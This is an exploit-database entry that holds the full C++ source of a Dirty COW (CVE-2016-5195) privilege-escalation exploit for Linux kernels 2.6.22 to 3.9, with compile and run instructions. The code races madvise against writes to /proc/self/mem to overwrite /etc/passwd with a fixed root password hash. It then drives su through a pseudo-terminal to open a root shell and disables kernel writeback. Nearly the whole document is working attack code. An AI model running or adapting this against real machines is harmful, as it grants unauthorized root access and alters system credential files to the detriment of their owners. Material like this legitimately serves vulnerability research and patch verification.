Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)

Related Vulnerabilities: CVE-2016-5195  
Publish Date: 27 Nov 2016
                							

                // EDB-Note: Compile:   g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run:   ./dcow -s    (Will automatically do "echo 0 &gt; /proc/sys/vm/dirty_writeback_centisecs")
//
// -----------------------------------------------------------------
// Copyright (C) 2016  Gabriele Bonacini
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301  USA
// -----------------------------------------------------------------

#include &lt;iostream&gt;
#include &lt;fstream&gt;
#include &lt;string&gt;
#include &lt;thread&gt;
#include &lt;sys/mman.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;pwd.h&gt;
#include &lt;pty.h&gt;
#include &lt;string.h&gt;
#include &lt;termios.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;signal.h&gt;

#define  BUFFSIZE    1024
#define  PWDFILE     "/etc/passwd"
#define  BAKFILE     "./.ssh_bak"
#define  TMPBAKFILE  "/tmp/.ssh_bak"
#define  PSM         "/proc/self/mem"
#define  ROOTID      "root:"
#define  SSHDID      "sshd:"
#define  MAXITER     300
#define  DEFPWD      "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
#define  TXTPWD      "dirtyCowFun\n"
#define  DISABLEWB   "echo 0 &gt; /proc/sys/vm/dirty_writeback_centisecs\n"
#define  EXITCMD     "exit\n"
#define  CPCMD       "cp "
#define  RMCMD       "rm "

using namespace std;

class Dcow{
    private:
       bool              run,        rawMode,     opShell,   restPwd;
       void              *map;
       int               fd,         iter,        master,    wstat;
       string            buffer,     etcPwd,      etcPwdBak,
                         root,       user,        pwd,       sshd;
       thread            *writerThr, *madviseThr, *checkerThr;
       ifstream          *extPwd;
       ofstream          *extPwdBak;
       struct passwd     *userId;
       pid_t             child;  
       char              buffv[BUFFSIZE];
       fd_set            rfds;
       struct termios    termOld,    termNew;
       ssize_t           ign;

       void exitOnError(string msg);
    public:
       Dcow(bool opSh, bool rstPwd);
       ~Dcow(void);
       int  expl(void);         
};

Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
                   iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
                   madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr), 
                   child(0){ 
   userId = getpwuid(getuid());
   user.append(userId-&gt;pw_name).append(":");
   extPwd = new ifstream(PWDFILE);   
   while (getline(*extPwd, buffer)){
       buffer.append("\n");
       etcPwdBak.append(buffer);
       if(buffer.find(root) == 0){
          etcPwd.insert(0, root).insert(root.size(), pwd);
          etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(), 
                        buffer.begin() + buffer.find(":", root.size()), buffer.end());
       }else if(buffer.find(user) == 0 ||  buffer.find(sshd) == 0 ){
          etcPwd.insert(0, buffer);
       }else{
          etcPwd.append(buffer);
       }
   }
   extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
   extPwdBak-&gt;write(etcPwdBak.c_str(), etcPwdBak.size());
   extPwdBak-&gt;close();
   fd = open(PWDFILE,O_RDONLY);
   map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
}

Dcow::~Dcow(void){
   extPwd-&gt;close();
   close(fd);
   delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
   if(rawMode)    tcsetattr(STDIN_FILENO, TCSANOW, &amp;termOld);
   if(child != 0) wait(&amp;wstat); 
}

void Dcow::exitOnError(string msg){
      cerr &lt;&lt; msg &lt;&lt; endl;
      // if(child != 0) kill(child, SIGKILL);
      throw new exception();
}

int  Dcow::expl(void){
   madviseThr = new thread([&amp;](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });
   writerThr  = new thread([&amp;](){ int fpsm = open(PSM,O_RDWR);  
                                  while(run){ lseek(fpsm, reinterpret_cast&lt;off_t&gt;(map), SEEK_SET); 
                                              ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
                                });
   checkerThr = new thread([&amp;](){ while(iter &lt;= MAXITER){ 
                                         extPwd-&gt;clear(); extPwd-&gt;seekg(0, ios::beg); 
                                         buffer.assign(istreambuf_iterator&lt;char&gt;(*extPwd),
                                                       istreambuf_iterator&lt;char&gt;());
                                         if(buffer.find(pwd) != string::npos &amp;&amp; 
                                            buffer.size() &gt;= etcPwdBak.size()){
                                                run = false; break;
                                         }
                                         iter ++; usleep(300000);
                                   }
                                   run = false;
                                 });

  cerr &lt;&lt; "Running ..." &lt;&lt; endl;
  madviseThr-&gt;join();
  writerThr-&gt;join();
  checkerThr-&gt;join();

  if(iter &lt;= MAXITER){ 
       child = forkpty(&amp;master, nullptr, nullptr, nullptr);

       if(child == -1) exitOnError("Error forking pty.");

       if(child == 0){ 
          execlp("su", "su", "-", nullptr);
          exitOnError("Error on exec.");
       }

       if(opShell) cerr &lt;&lt; "Password overridden to: " &lt;&lt;  TXTPWD &lt;&lt; endl;
       memset(buffv, 0, BUFFSIZE);
       ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
       if(bytes_read &lt;= 0) exitOnError("Error reading  su prompt.");
       cerr &lt;&lt; "Received su prompt (" &lt;&lt; buffv &lt;&lt; ")" &lt;&lt; endl; 

       if(write(master, TXTPWD, strlen(TXTPWD)) &lt;= 0) 
            exitOnError("Error writing pwd on tty.");

       if(write(master, DISABLEWB, strlen(DISABLEWB)) &lt;= 0) 
            exitOnError("Error writing cmd on tty.");

       if(!opShell){
            if(write(master, EXITCMD, strlen(EXITCMD)) &lt;= 0) 
                 exitOnError("Error writing exit cmd on tty.");
       }else{
           if(restPwd){
               string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) &lt;= 0) 
                    exitOnError("Error writing restore cmd on tty.");
               restoreCmd        = string(RMCMD).append(TMPBAKFILE).append("\n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) &lt;= 0) 
                    exitOnError("Error writing restore cmd (rm) on tty.");
           }

           if(tcgetattr(STDIN_FILENO, &amp;termOld) == -1 )
                exitOnError("Error getting terminal attributes.");
    
           termNew               = termOld;
           termNew.c_lflag       &amp;= static_cast&lt;unsigned long&gt;(~(ICANON | ECHO));
    
           if(tcsetattr(STDIN_FILENO, TCSANOW, &amp;termNew) == -1)
                exitOnError("Error setting terminal in non-canonical mode.");
           rawMode = true;
    
           while(true){
                FD_ZERO(&amp;rfds);
                FD_SET(master, &amp;rfds);
                FD_SET(STDIN_FILENO, &amp;rfds);
    
                if(select(master + 1, &amp;rfds, nullptr, nullptr, nullptr) &lt; 0 )
                    exitOnError("Error on select tty.");
    
                if(FD_ISSET(master, &amp;rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(master, buffv, BUFFSIZE - 1);
                    if(bytes_read &lt;= 0) break;
                    if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
                          exitOnError("Error writing on stdout.");
                }
    
                if(FD_ISSET(STDIN_FILENO, &amp;rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
                    if(bytes_read &lt;= 0) exitOnError("Error reading from stdin.");
                    if(write(master, buffv, bytes_read) != bytes_read) break;
                }
            }
      }
  }
 
  return [](int ret, bool shell){ 
       string msg = shell ? "Exit.\n" : string("Root password is:   ") + TXTPWD + "Enjoy! :-)\n";
       if(ret &lt;= MAXITER){cerr &lt;&lt; msg; return 0;}
       else{cerr &lt;&lt; "Exploit failed.\n"; return 1;} 
  }(iter, opShell);
}

void printInfo(char* cmd){
      cerr &lt;&lt; cmd &lt;&lt; " [-s] [-n] | [-h]\n" &lt;&lt; endl;
      cerr &lt;&lt; " -s  open directly a shell, if the exploit is successful;" &lt;&lt; endl;
      cerr &lt;&lt; " -n  combined with -s, doesn't restore the passwd file." &lt;&lt; endl;
      cerr &lt;&lt; " -h  print this synopsis;" &lt;&lt; endl;
      cerr &lt;&lt; "\n If no param is specified, the program modifies the passwd file and exits." &lt;&lt; endl;
      cerr &lt;&lt; " A copy of the passwd file will be create in the current directory as .ssh_bak" &lt;&lt; endl;
      cerr &lt;&lt; " (unprivileged user), if no parameter or -n is specified.\n" &lt;&lt; endl;
      exit(1);
}

int main(int argc, char** argv){
   const char  flags[]   = "shn";
   int         c;
   bool        opShell   = false,
               restPwd   = true;

   opterr = 0;
   while ((c = getopt(argc, argv, flags)) != -1){
      switch (c){
         case 's':
            opShell = true;
         break;
         case 'n':
            restPwd = false;
         break;
         case 'h':
            printInfo(argv[0]);
         break;
         default:
            cerr &lt;&lt; "Invalid parameter." &lt;&lt; endl &lt;&lt; endl;
            printInfo(argv[0]);
      }
   }

   if(!restPwd &amp;&amp; !opShell){
            cerr &lt;&lt; "Invalid parameter: -n requires -s" &lt;&lt; endl &lt;&lt; endl;
            printInfo(argv[0]);
   }

   Dcow dcow(opShell, restPwd);
   return dcow.expl();
}